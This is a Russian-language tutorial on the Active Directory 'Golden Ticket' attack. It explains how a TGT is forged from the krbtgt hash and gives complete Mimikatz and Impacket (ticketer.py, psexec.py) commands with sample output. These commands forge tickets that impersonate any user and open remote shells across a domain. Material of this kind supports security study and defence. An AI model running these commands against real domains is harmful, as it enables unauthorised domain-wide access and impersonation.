Golden ticket
С использованием NTLM-хэша учетной записи krbtgt в Active Directory может быть создан действительный Ticket Granting Ticket (TGT) от имени любого пользователя. Преимущество подделки TGT вместо TGS заключается в возможности доступа к любому сервису (или машине) в домене, а также имитации любого пользователя.
NTLM-хэш учетной записи krbtgt можно получить из файла NTDS.dit (файл базы данных, содержащий информацию обо всех учетных записях в домене, включая пароли, находящийся на любом контроллере домена (DC)). Например с помощью DCsync атаки.
Чтобы создать TGT, злоумышленник должен указать следующую информацию в Mimikatz с использованием команды kerberos::golden:
- /domain — Полное доменное имя (FQDN) домена.
- /sid — Идентификатор безопасности (SID) домена.
- /aes256 — Хэш пароля AES-256 учетной записи пользователя KRBTGT (альтернативно можно использовать /ntlm или /rc4 для NTLM-хэшей, а также /aes128 для AES-128).
- /user — Имя пользователя, за которого осуществляется имитация.
- /groups — Список групп (по RID), которые будут включены в тикет. Первая группа должна быть основной группой пользователя.
- /ptt — Указывает, что поддельный тикет должен быть внедрен в текущую сессию, а не сохранён в файл.
Ниже представленны примеры команд для создания золотого билета.
PS> mimikatz.exe "kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:AdmUser /groups:513,2668 /ptt" mimikatz(commandline) # kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:AdmUser /ticket:GoldenTicket.kirbi /ptt User : AdmUser Domain : domain.com (DOMAIN) SID : S-1-5-21-5840559-2756745051-1363507867 User Id : 500 Groups Id : *513 2668 ServiceKey: ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 - aes256_hmac Lifetime : 19/07/2020 22:31:00 ; 17/07/2030 22:31:00 ; 17/07/2030 22:31:00 -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'AdmUser @ domain.com' successfully submitted for current session
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache python psexec.py jurassic.park/[email protected] -k -no-pass
Злоумышленник затем может использовать поддельный тикет для доступа к ресурсам, интегрированным с Kerberos. Поскольку TGT подписан и зашифрован с использованием реального хэша пароля KRBTGT, любой контроллер домена примет его как доказательство личности и выдаст тикеты на предоставление услуг (TGS) для него.
По мере того как злоумышленник узнаёт больше о среде, он может продолжать создавать тикеты для учетных записей с конкретным членством в группах, чтобы получить доступ к любым приложениям, базам данных или другим ресурсам, которые используют Active Directory для аутентификации и авторизации.